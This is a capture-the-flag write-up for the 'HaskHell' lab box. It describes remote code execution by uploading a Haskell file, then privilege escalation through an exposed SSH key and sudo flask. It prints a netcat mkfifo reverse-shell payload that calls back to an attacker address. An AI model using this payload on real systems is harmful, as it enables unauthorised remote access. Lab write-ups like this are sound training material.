Box Stats
Box Info | Details |
---|---|
Box Name : | HaskHell |
Difficulty : | Medium |
Play : | HaskHell |
Recommended : | Yes ![]() |
Summary
This was a really awesome box, that i learnt some new things. We have to upload a haskhell reverse shell, then we have 2 privescs one is about SSH private key & then last one for root is about FLASK. Let’s start!
Enumeration/Reconnaissance
Now as always let’s continue with a nmap scan. (Note: Takes some time)
1 |
|
Once we visit the port 5001, we can see an article about functional programming & Haskell. Without wasting more time let’s fire up gobuster
.
1 |
|
/submit
is an upload form, homework page says that Only Haskell files are accepted for uploads.
Haskhell is a purely functional programming language with file extension .hs
I’ve never heard of this language so i googled how can i execute system commands using HaskHell & i found this:
module Main where
import System.Process
main = callCommand "whoami"
I guess when we upload our file it gets compile ghc -o shell shell.hs
& execute it in background ./shell.hs
& then shows us the result.
Shell as flask
So let’s simply execute a reverse shell. Save it as shell.hs
& upload it.
module Main where
import System.Process
main = callCommand "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc tun0_ip_address 5555 >/tmp/f"
1 |
|
We can read now the user.txt
1 |
|
Shell as prof
Under /home/prof
i noticed that we can access the .ssh
folder and use his SSH private key. So we have an easy privesc.
1 |
|
Shell as root
While doing the manual enumeration for privesc, sudo -l
says that we can run flask
as root!
1 |
|
Flask is a web framework, it’s a Python module that allow us to develop web applications easily. Using the flask run
command we can execute our web application but isn’t that simple we have first to tell flask how to import it using the FLASK_APP
environment variable!
So let’s make a file under /tmp
to execute /bin/bash
using the os.system
function.
1 |
|
Let’s read the final flag:
1 |
|
Thank You
Thank you for taking the time to read my writeup. If you don’t understand something from the writeup or want to ask me something feel free to contact me through discord(0xatom#8707) or send me a message through twitter 0xatom
Until next time keep pwning hard!